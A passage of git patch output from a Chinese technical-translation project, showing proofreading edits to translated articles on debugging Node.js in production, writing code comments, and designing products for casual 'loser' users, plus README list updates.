 ![Netflix debugging Nodejs in production with the Request latency graph](https://blog-assets.risingstack.com/2017/04/Netflix-debugging-Nodejs-in-production---Request-latency-graph.png)
 
-*不同时间段请求的传输时间 - 图片来源: Netflix*
+**不同时间段请求的传输时间 - 图片来源: Netflix**
 
 一开始，他们调查是否是 request handler 造成其响应时间变长。 
 
@@ -32,18 +32,18 @@ Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他
 
 所以问题并不是这个，他们开始怀疑到底层，是不是栈出现了问题。
 
-接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火焰图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page).
+接下来 Yunong 和 Netflix 开发团队的尝试是这个 [CPU 火焰图](http://www.brendangregg.com/FlameGraphs/cpuflamegraphs.html) 和 Linux [性能事件](https://perf.wiki.kernel.org/index.php/Main_Page)。
 
 ![Flame graph of Netflix Nodejs slowdown](https://blog-assets.risingstack.com/2017/04/Flame-graph-of-Netflix-Nodejs-slowdown.png)
 
-*火焰图反映了 Netflix 的响应速度正在变慢 - 图片来源: Netflix*
+**火焰图反映了 Netflix 的响应速度正在变慢 - 图片来源: Netflix**
 
 **你可以从火焰图中看到的东西是**
 
-- 它有一些很高的栈 *（这代表有许多函数被调用）*
-- 并且一些矩形很宽 *（代表我们在这些函数中耗费了一些时间）*.
+- 它有一些很高的栈 **（这代表有许多函数被调用）**
+- 并且一些矩形很宽 **（代表我们在这些函数中耗费了一些时间）**
 
-经过深入调查，开发团队发现Express的 `router.handle` 和 `router.handle.next` 有许多引用。
+经过深入调查，开发团队发现 Express 的 `router.handle` 和 `router.handle.next` 有许多引用。
 
 > Express.js 的源代码揭示了一系列有趣的事情：
 > 
@@ -52,7 +52,7 @@ Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他
 
 **在揭示谜题的解决方案前，我们需要知道更多的细节：**
 
-Netflix 的底层代码包含了每6分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。
+Netflix 的底层代码包含了每 6 分钟运行的定时代码，从拓展资源中抓取新的路由配置信息，更新应用的 route handlers 从而响应改变的信息。
 
 这些是通过删除并添加新的 handlers 来实现的。意外的是，同时它再一次添加了相同的静态 handler - 甚至是以前的 API route handlers。**这造成的结果是，响应时间额外增加了 10 ms。**
 
@@ -63,14 +63,14 @@ Netflix 的底层代码包含了每6分钟运行的定时代码，从拓展资
 
 > 从这里阅读整个故事: [火焰图中的 Node.js](http://techblog.netflix.com/2014/11/nodejs-in-flames.html)。
 
-#### 当你最需要帮助时候的专家指引####
+#### 当你最需要帮助时候的专家指引
 
-##### 商业化 Node.js，由 RisingStack 提供#####
+##### 商业化 Node.js，由 RisingStack 提供
 [了解更多](https://risingstack.com/nodejs-support?utm_source=rsblog&amp;utm_medium=roadblock-new&amp;utm_campaign=trace&amp;utm_content=/node-js-war-stories-solving-issues-in-production-2/) 
 
 ## RisingStack CTO: "加密是要花时间的" ##
 
-你可能已经听过我们的故事 [拆分单体式应用的故事](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace *(我们的 Node.js 监控系统)*](https://trace.risingstack.com) 分离成多个微服务模块。
+你可能已经听过我们的故事 [拆分单体式应用的故事](https://www.youtube.com/watch?v=k9QZ4oIOHnk)，我们的 CTO Peter Marton 把 [Trace **(我们的 Node.js 监控系统)**](https://trace.risingstack.com) 分离成多个微服务模块。
 
 **我们现在讨论的错误是 Trace 开发时的响应速度变慢：**
 
@@ -82,7 +82,7 @@ Netflix 的底层代码包含了每6分钟运行的定时代码，从拓展资
 
 ![network delay in nodejs request visualized by trace](https://blog-assets.risingstack.com/2017/04/network-delay-in-nodejs-request-visualized-by-trace.png)
 
-*网络延迟增加了我们的响应时间 - 图片来源: Trace*
+**网络延迟增加了我们的响应时间 - 图片来源: Trace**
 
 从图中可看到，所给定的终端响应速度为 180 ms，然而对于总体来说，**单独两个服务的网络延迟只是 100 ms**。
 
@@ -118,7 +118,7 @@ Netflix 的底层代码包含了每6分钟运行的定时代码，从拓展资
 
 **不仅是 React，大多数字符串操作也会这样。** 如果你在构建 JSON REST APIs，你应该花心思在 `JSON.parse` 和 `JSON.stringify`。
 
-Strongloop(现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 *（同时在这期间会堵塞事件循环）*。
+Strongloop（现在是 Joyent) 的 Shubhra Kar 对此解释是，解析和转化成 JSON 字符串的等消耗巨大的操作也会消耗大量时间 **（同时在这期间会堵塞事件循环）**。
 
 ```
 functionrequestHandler(req, res) {  
@@ -135,7 +135,7 @@ functionrequestHandler(req, res) {
 
 ```
 
-*简易的 request handler*
+**简易的 request handler**
 
 这个例子展示了一个简易的 request handler，用来解析 body。对于内容不多的情况下，它运行的挺好 - 然而，**如果 JSON 的大小要以兆来描述的话，可能会花费数秒的时间来执行** 而不是在毫秒时间内执行。同理 `JSON.stringify` 也一样。
 

From b56886cd082d5058f2026c969046416858b808a0 Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Mon, 24 Apr 2017 21:23:58 +0800
Subject: [PATCH 246/638] modify

---
 TODO/node-js-war-stories-solving-issues-in-production.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index 011d236f5ed..5568c9ce76a 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -10,7 +10,7 @@
 
 **感谢来自 Netflix 的 Yunong Xiao、来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina 对这篇文章的见解与帮助。**
 
-过去4年里，我们在 RisingStack 的生产环境中运行 Node 应用，积累了许多相关经验 -  感谢 [Node.js 咨询, 学习和开发](https://risingstack.com/) 的业务支持。
+过去4年里，我们在 RisingStack 的生产环境中运行 Node 应用，积累了许多相关经验 -  感谢 [Node.js 咨询、学习和开发](https://risingstack.com/) 的业务支持。
 
 Netflix 和 nearForm 的 Node 开发团队都一样，我们都有把调试过程记录下来的习惯，因此整个开发团队 (现在是全世界的开发团队) 都可以从我们的错误中学习。 
 

From 5f351ab4242ae5d3a44354d632a2af808a17c765 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 24 Apr 2017 22:21:53 +0800
Subject: [PATCH 247/638] proofreading

---
 ...-comments-the-good-the-bad-and-the-ugly.md | 37 +++++++------------
 1 file changed, 14 insertions(+), 23 deletions(-)

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
index 6fed3525650..2f17420660b 100644
--- a/TODO/code-comments-the-good-the-bad-and-the-ugly.md
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -19,7 +19,7 @@
 
 **陈词滥调**。
 
-像其他许多陈词滥调一样，它的核心是一个真理。但是这个真理已经被滥用，大多数说出这句话的人并不知道它实际上是什么意思。
+像其他许多陈词滥调一样，它的核心是一个真理。但是这个真理已经被滥用，大多数说出这句话的人并不知道它的真正意思。
 
 这句话正确吗？**是的**。
 
@@ -31,9 +31,9 @@
 
 ### 文档注释 ###
 
-文档注释是为了给任何可能使用你的源代码的人看的，但他们不一定可以完全通读代码。如果你正在构建给其他开发者使用的库或框架，你需要某种形式的 API 文档。
+文档注释是为了给任何可能使用你的源代码的人看的，但他们不一定会通读代码。如果你正在构建给其他开发者使用的库或框架，你需要某种形式的 API 文档。
 
-源代码中 API 文档越少，越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。
+越早从源代码中移除 API 文档，随着时间的推移，文档就越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。
 
 下面是一个文档注释的例子，来自一个流行的 JavaScript 库，叫做 [Lodash](https://lodash.com)。
 
@@ -71,7 +71,7 @@
 
 如果你[将这些注释与他们的线上文档做对比](https://lodash.com/docs/#countBy)，你会发现它们完全一致。
 
-如果你开始使用文档注释，则需要确保遵循一致的标准，并且使它们与其他说明性的注释可以轻易区分开。一些广泛使用、有良好支持的标准和工具包括 JavaScript 的 [JSDoc](http://usejsdoc.org)，dotNet 的 [DocFx](https://github.com/dotnet/docfx)，Java 的 [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)。
+如果你开始使用文档注释，则需要确保这些注释遵循一致的标准，并且使它们与其他说明性的注释可以轻易区分开。一些广泛使用、有良好支持的标准和工具包括 JavaScript 的 [JSDoc](http://usejsdoc.org)，dotNet 的 [DocFx](https://github.com/dotnet/docfx)，Java 的 [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)。
 
 这种注释的缺点就是使你的代码非常「嘈杂」，并使得积极参与维护的人更难阅读代码。好消息是，大多是代码编辑器都支持「代码折叠」的功能，这样就可以折叠这部分注释，专注在代码上。
 
@@ -83,7 +83,7 @@
 
 说明性注释是给任何可能需要维护、重构或扩展你的代码的人（包括你自己）看的。
 
-通常来说，说明性注释是一种代码警示（？）。它告诉你，你的代码太复杂了。你应该尽量简化代码并删除这种注释，因为「好的代码自身就是文档」。
+通常来说，需要说明性注释的代码散发着一种坏代码的气味，它的出现说明你的代码太复杂了。你应该尽量简化代码并删除这种注释，因为「好的代码自身就是文档」。
 
 以下是一个不好的 —— 虽然很有趣 —— 说明性注释的[例子](http://stackoverflow.com/a/766363)。
 
@@ -98,7 +98,7 @@
 $str = str_replace(array("\{","\}")," ",$str);
 ```
 
-如果作者不花时间在使用韵脚诗装点这个稍微令人疑惑的代码，肯定可以将代码本身写的更加易读易懂。也许使用函数名，`removeCurlyBraces` 在另一个函数 `sanitizeInput` 中调用？
+如果作者不花时间在使用韵脚诗装点这个稍微令人疑惑的代码，肯定可以将代码本身写的更加易读易懂。也许命名一个函数，`removeCurlyBraces` 在另一个函数 `sanitizeInput` 中调用？
 
 不要会错意，的确有不少时候 —— 特别当你正在拼命应对繁重的工作时 —— 注入一些幽默对身心都有好处。但是当你写了一个有趣的注释来修饰不好的代码时，实际上人们不太可能稍后重构或修复代码。
 
@@ -117,14 +117,13 @@ int age = 32;
 
 不过，有时候，无论你对代码本身做了什么，一个说明性注释还是需要的。
 
-通常这发生在，你需要添加一些上下文解释非直观的解决方法。
+这通常发生在你需要添加一些上下文解释一个不太直观的解决方法。
 
 以下是一个来自 Lodash 的很好的例子：
 
 ```javascript
 function addSetEntry(set, value) {   
   /* 
-   Don't return `set.add` because it's not chainable in IE 11.
    不要返回 `set.add`，因为它在 IE 11 中不可链接。
   */  
   set.add(value);    
@@ -134,7 +133,7 @@ function addSetEntry(set, value) {
 
 也有一些情况是 ，在经过很多思考和实验后 ，看上去天真的解决方法事实上是最好的。在这些情况下，其他的程序员会不可避免地认为他们更聪明并开始自己动手实践，最后却发现你的方法是最好的。
 
-有时上面提到的其他程序员就是未来的你自己。
+有时上面提到的其他程序员就是未来的你。
 
 在这些情况下，最好的做法就是写下注释，节省所有人的时间，避免尴尬。
 
@@ -142,18 +141,13 @@ function addSetEntry(set, value) {
 
 ```
 /**
-Dear maintainer:
 亲爱的维护者：
 
-Once you are done trying to 'optimize' this routine,
-and have realized what a terrible mistake that was,
-please increment the following counter as a warning
-to the next guy:
-只要你完成了尝试「优化」这部分代码，
+当你完成了尝试「优化」这部分代码，
 并意识到这是个多么大的错误时，
-请给下面的计数器加一以给下一个人警告：
+请增加下面的计数器以给下一个人警告：
 
-total_hours_wasted_here = 42
+总共在此处浪费的小时数 = 42
 **/
 ```
 
@@ -163,7 +157,6 @@ total_hours_wasted_here = 42
 
 ```javascript
 /* 
-don't use the global isFinite() because it returns true for null values
 不要使用全局 isFinite()，因为它对 null 值会返回 true.
 */
 Number.isFinite(value)
@@ -177,23 +170,21 @@ Number.isFinite(value)
 
 使用过很多的代码库后，你会见到各种各样愤世嫉俗、沮丧到黑暗或意味深长的注释。
 
-像这种[看似无害的东西](http://stackoverflow.com/a/185550)...
+像这种[看似无害的注释](http://stackoverflow.com/a/185550)...
 
 ```
 /*
-This code sucks, you know it and I know it.  
-Move on and call me an idiot later.
 这段代码很糟糕，你知道，我也知道。
 继续往前，之后再叫我白痴。
 */
 ```
 
-...到[彻底的意思？](http://stackoverflow.com/a/184673)
+...[以及这种直白刻薄的注释](http://stackoverflow.com/a/184673)
 
 ```
 /* 
 Class used to workaround Richard being a f***ing idiot
-这部分以前是 Richard 的工作，他是个白痴
+这是配合 Richard 的工作而写的类，他是个白痴
 */
 ```
 

From d326c03c4643c710a01b346f320e26ff35dc39d8 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Mon, 24 Apr 2017 22:57:55 +0800
Subject: [PATCH 248/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E6=88=91=E7=BB=8F?=
 =?UTF-8?q?=E5=B8=B8=E5=90=AC=E5=88=B0=E7=9A=84=20GraphQL=20=E5=88=B0?=
 =?UTF-8?q?=E5=BA=95=E6=98=AF=E4=BB=80=E4=B9=88=EF=BC=9F=20=E7=9A=84?=
 =?UTF-8?q?=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 15390759488..446aa225057 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [473](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [474](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
 * [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
-* [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index cacd2d8da1a..00c853f6052 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)
 * [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu)翻译)
 * [如何使用 HTTP Headers 来保护你的 Web 应用](https://juejin.im/post/58f5d3718d6d810057c18f75/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom)翻译)
 * [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)

From a2532f84dcdd892bc9ca9239d813e9f1b221db13 Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Mon, 24 Apr 2017 22:59:24 +0800
Subject: [PATCH 249/638] xiugaiwancheng

---
 TODO/on-loser-experience-design.md | 68 +++++++++---------------------
 1 file changed, 20 insertions(+), 48 deletions(-)

diff --git a/TODO/on-loser-experience-design.md b/TODO/on-loser-experience-design.md
index 2d16101098d..a262e933fe2 100644
--- a/TODO/on-loser-experience-design.md
+++ b/TODO/on-loser-experience-design.md
@@ -1,95 +1,67 @@
 > * 原文地址：[On Loser Experience Design](https://medium.com/on-human-centric-systems/on-loser-experience-design-1916629c36fc)
 > * 原文作者：[Matt LeMay](https://medium.com/@mattlemay?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[ylq167](https://github.com/ylq167)
+> * 校对者：[LisaPeng](https://github.com/LisaPeng) [dongpeiguo](https://github.com/dongpeiguo)
 
-# On Loser Experience Design #
 # 针对失败者的用户体验设计 #
 
-## Designing platforms and products that aren’t just for winners, “influencers,” and “thought leaders.” ##
-## 设计平台或产品不仅仅是为了赢家，大 V 和意见领袖。##
+## 设计平台或产品不仅是针对赢家，大 V 和意见领袖。##
 
 ![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)
 
-Turntable.fm, a Great Lesson in Loser Experience Design
 Turntable.fm，就是一个针对失败者的用户体验设计的教训。
 
-Do you remember turntable.fm? The idea behind the product was simple and brilliant: you join a virtual “room” with friends and/or strangers, and take turns DJing for each other. Like a lot of products that experience meteoric early-stage growth, it took a real-world behavior — social listening — and created a digital proxy that could instantly connect people across geographic and cultural divides. I was super-excited when turntable.fm launched, and I was not alone.
-你还记得 turntable.fm 吗？产品背后的理念是简单明确的：你和你的朋友或陌生人一起加入了一个虚拟的「房间」，轮流为对方进行 DJing？像许多经历过早期流行性增长的产品一样，它采用了现实世界的行为-社交性倾听-并创建了一个数字代理，可以将人们跨越地理和文化的鸿沟即时连接起来。当 turntable.fm 启动时，我非常激动，不会感觉到孤单。
+你还记得 turntable.fm 吗？这个产品背后的理念是简单明确的：你和你的朋友或陌生人一起加入了一个虚拟的「房间」，轮流为对方进行打碟。像许多经历过早期流行性增长的产品一样，它采用了现实世界的行为-社交性倾听-并创建了一个数字代理，可以将人们跨越地理和文化的鸿沟即时连接起来。当 turntable.fm 启动时，我非常激动，不会感觉到孤单。
 
-But the more I used turntable.fm, the more I started to feel like — well, a *loser*. I was primarily interested in discovering new music, not in becoming a **star virtual DJ**. But the platform seemed to offer no encouragement or incentives for being a good listener, no shiny prizes for thoughtfully engaging in conversation with my virtual roommates. My avatar remained puny and plain, while others grew mighty, adorned with jewels, and outfitted with cool animal costumes. Eventually, I just gave up.
-但是，当我使用 turntable.fm 越多，我愈发的开始觉得自己就像一个，呃，*失败者*。我主要感兴趣的是发现新的音乐，而不是成为一个**虚拟 DJ 明星**。但是这个平台似乎并没有对成为一个好的听众提供鼓励或激励，没有闪亮的奖品， 我的头像仍然是平淡无奇，而其他人则变得强大，装饰着珠宝，配备了清凉的动物服饰。最终，我只好放弃了。
+但是，当我使用 turntable.fm 越多，我愈发的开始觉得自己就像一个，呃，**失败者**。我主要感兴趣的是发现新的音乐，而不是成为一个**虚拟 DJ 明星**。但是这个平台似乎并没有对成为一个好的听众提供鼓励或激励，在我完全参与到与虚拟室友的互动后没有提供闪亮的奖品。我的化身仍然微小并平庸着，而其他人在慢慢成长，装饰着珠宝，配备着酷酷的动物服饰。
 
-**Turntable.fm suffered from bad loser experience design: making casual users feel like unwitting competitors in a game they cannot win.**
-**Turntable.fm 对失败者的糟糕体验，使休闲用户感到在这个游戏中根本无法战胜强大的对手。
+**Turntable.fm 对失败者的糟糕体验，使普通用户感到在这个游戏中根本无法战胜强大的对手。
 
-In the absence of good loser experience design, products and platforms turn into ghost towns inhabited by thirsty would-be “influencers,” howling desperately into a void that was once occupied by curious, casual users. And in a world obsessed with performance metrics and status markers, bad loser experience design is all around us.
-在缺乏良好的对失败者的体验设计的情况下，产品和平台变成了「大 V」们驻扎的鬼城，拼命地陷入一个曾经被好奇的休闲用户占据的空洞。在一个痴迷性能指标和状态标记的世界中，糟糕的失败者体验设计就在我们周围。
+在缺乏良好的对失败者的体验设计的情况下，产品和平台变成了渴望变成「大V」的人们驻扎的鬼城，拼命地陷入一个曾经被好奇的普通用户占据的空洞。在一个痴迷性能指标和状态标记的世界中，糟糕的失败者体验设计就在我们周围。
 
-#### The Patterns of Bad Loser Experience Design ####
 #### 坏的失败者体验设计模式 ####
 
-Here are a few signs that your product may be suffering from **bad loser experience design:**
-这里有几个迹象表明你的产品可能有坏的失败者体验设计：
+这里有几个迹象表明你的产品可能有**坏的失败者体验设计**：
 
 ![](https://cdn-images-1.medium.com/max/600/1*k_ZpnygG7JhLUteHxZOJyQ.png)
 
-Illustration by [Joan LeMay](http://joanlemay.com) 
 插图来自于[Joan LeMay](http://joanlemay.com) 
 
-- **You have a “leaderboard” or a points system.**
 - **你有一个「排行榜」或者积分制度。**
 
-Yes, in the short-term, people may engage with a product for an abstract reward such as “points” or “[coins](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/) .” But watch what happens as your users see themselves fall to the bottom of that “leaderboard” or fail to get any real value out of the time they’ve invested in earning those shiny trinkets. Competing for something only to realize that it’s worthless is embarrassing, frustrating, and makes you feel *like a huge loser*. Gratuitous “gamification” is one of the most odious and lazy patterns of bad loser experience design — and in the long term, it [doesn’t work](http://www.gartner.com/newsroom/id/2251015) .
-是的，短期来看，人们可以被一个抽象奖励的产品像「积分」或「[硬币](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/)」激励。但是看看当你的用户看见他们自己落在「排行榜」的底部，或者在他们投资获得那些闪亮的小饰品的时间后但无法获得任何真正的价值时会发生什么。努力争取一些东西却意识到这是毫无价值的，令人尴尬沮丧的，会让你感觉自己「像一个彻底的失败者」。免费的「游戏化」是最糟糕和懒惰的坏的失败者体验设计模式之一。从长远看来，他[不起作用](http://www.gartner.com/newsroom/id/2251015)。
+是的，短期来看，人们可以被一个抽象奖励的产品像「积分」或「[硬币](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/)」激励。但是看看当你的用户看见他们自己落在「排行榜」的底部，或者在他们投资获得那些闪亮的小饰品的时间后但无法获得任何真正的价值时会发生什么。努力争取一些东西却发现是毫无价值的，是令人感到尴尬和沮丧的，会让你感觉自己「像一个彻底的失败者」。不必要的的「游戏化」是最糟糕和懒惰的坏的失败者体验设计模式之一。从长远看来，他[不起作用](http://www.gartner.com/newsroom/id/2251015)。
 
-- **You visually distinguish the winners from the losers.**
-- **你从视觉上区分赢家和失败者
+- **你可以从视觉上区分赢家和失败者
 
-Twitter’s verification system was designed to foster trust by “verifying” that people are who they say they are. But in its early days, “verification” felt like a [badge of honor for “important” people](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html) and an [aspirational delineator between the haves and have-nots](http://www.xojane.com/tech/how-to-get-verified-on-twitter) . Twitter took a great step towards mitigating this bad loser experience design when they bulk-verified journalists, making it clear that there was a functional *purpose* to this distinction and conferring it on people who are not high-status celebrities.
-Twiiter 的认证系统旨在通过「认证」用户是真实身份来促进信任。但是在初期，「认证」就像是一个[「重要的」人的荣誉勋章](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html)，和一个[在有无勋章的人之间的阶级划分](http://www.xojane.com/tech/how-to-get-verified-on-twitter)。（翻译成阶级划分是否合适？）当 Twiiter 大力认证记者时，是为缓解这种糟糕的失败者体验设计迈出的重大一步，明确表示这个区别有功能性的*目的*，并会赋予不是高地位名人的人。
+Twitter 的认证系统旨在通过「认证」用户是真实身份来促进信任。但是在初期，「认证」就像是一个[「重要的」人的荣誉勋章](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html)，和一个[在有无勋章的人之间的阶级划分](http://www.xojane.com/tech/how-to-get-verified-on-twitter)。当 Twitter 大力认证记者时，是为缓解这种糟糕的失败者体验设计迈出的重大一步，明确表示这个区别有功能性的*目的*，并会赋予不是高地位名人的人。
 
-- **You over-index on popularity metrics.**
 - **你过于重视受欢迎程度的指数。**
 
-This is perhaps the most widespread pattern of bad loser experience design. Trying to decide what content to surface? How about the most popular content! Trying to find some “interesting” users? Look for the ones who have the most followers! This is the “rich get richer” problem of bad loser experience design — by building platforms that reward the people who are already succeeding, you create a permanent and inaccessible overclass that tends to reward the people who are the most ruthless and aggressive about increasing their own status — even if it means gaming the system.
-这可能是最糟糕的失败者体验设计模式。试图决定表层的内容？最受欢迎的内容怎么样？试图寻找一些「有趣的」用户？寻找粉丝最多的人！这是糟糕的失败者用户体验设计中的「越富有则越富有」的问题-通过建立奖励已经获取成功的人的平台，创造一个永久性的难以接近的一类，倾向于奖励在提高他们自己身份上最无情最具有倾略性的这些人 -- 即使这意味着戏耍整个系统。
+这可能是最糟糕的失败者体验设计模式。试图决定表层的内容？最受欢迎的内容怎么样？试图寻找一些「有趣的」用户？寻找粉丝最多的人！这是糟糕的失败者用户体验设计中的「富者愈富」的问题-通过建立奖励已经获取成功的人的平台，创造一个永久性的难以接近的一类，倾向于奖励在提高他们自己身份上最无情最具有倾略性的这些人 -- 即使这意味着戏耍整个系统。
 
-- **You treat casual users like failed power users.**
 - **你将休闲用户当作失败的高级用户。**
 
-Zach Holman’s “[Don’t Give Your Users the Shit Work](https://zachholman.com/posts/shit-work/) ” does a great job of describing this bad loser experience pattern in action: a new user gets onboarded, and is immediately presented with a barrage of “power user” features that will help them get the *most* out of this product. If they neglect to use these features, they find themselves stuck in a kind of permanent limbo, nagged by reminders to use features they don’t need and unable to derive immediate value from the product. If you treat casual users like failed power users, they will start to *feel *like failures — and they will leave.
-Zach Holman 的「[不要给你的用户进行工作](https://zachholman.com/posts/shit-work/)」很好地描述了这个糟糕的失败者体验模式：一个新的用户上线后，立即呈现了一大堆「高级用户」的功能来帮助他们获得关于这个产品的「更多」内容。如果他们忽略使用这些功能。他们会发现自己陷入一种永久性的障碍，不停的重复提醒他们使用不需要的功能，也不能从产品中获得即时价值。如果你将休闲用户当作失败的高级用户，他们将开始*感觉*到失败 -- 然后他们会离开。
+Zach Holman 的「[不要给你的用户进行工作](https://zachholman.com/posts/shit-work/)」很好地描述了这个糟糕的失败者体验模式：一个新的用户上线后，立即呈现了一大堆「高级用户」的功能来帮助他们获得关于这个产品的「更多」内容。如果他们忽略使用这些功能。他们会发现自己陷入一种永久性的障碍，不停的重复提醒他们使用不需要的功能，也不能从产品中获得即时价值。如果你将休闲用户当作失败的高级用户，他们将开始**感觉**到失败 -- 然后他们会离开。
 
-#### Tips for Good Loser Experience Design ####
 #### 好的失败者用户体验设计的提示 ####
 
-While bad loser experience design can significantly harm a product, *good* loser experience design can help foster a broad, engaged, and self-sustaining user base. Here are a few tips for good loser experience design:
-糟糕的失败者体验设计可能会严重伤害产品，*良好的*失败者体验设计可以帮助培养广泛，有针对性和自我增长的用户群。 这里有一些好的失败者体验设计的提示：
+糟糕的失败者体验设计可能会严重伤害产品，**良好的**失败者体验设计可以帮助培养广泛，有针对性和自我增长的用户群。 这里有一些好的失败者体验设计的技巧：
 
-- **Help people find *their* people, not the most popular people.**
-- **帮助用户找到*他们（想要的）*人，而不是最受欢迎的人。**
+- **帮助用户找到**他们（想要的）**人，而不是最受欢迎的人。**
 
-When platforms focus on shared interests and social bonds over “likes” and “favorites,” they help everybody find a place where they belong. Instagram has done a great job doing this with their discovery features, consistently surfacing people who are adjacent to *your* people, not people with the most likes or followers. Their new discovery features have helped me find my [guitar](https://www.instagram.com/leoleoband/) [people](https://www.instagram.com/lostincrystalcanyons/) , my [cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/) , and even to discover a whole new community of [prairie](https://www.instagram.com/rinran032/) [dog](https://www.instagram.com/prairiedogpack/) [people](https://www.instagram.com/pimpa_wan/) . As I’ve used these discovery features more, I’ve started to pay *less attention to how many “follows” and “likes” I get, and more attention to the people with whom I interact* — which is a surefire signal of great loser experience design.
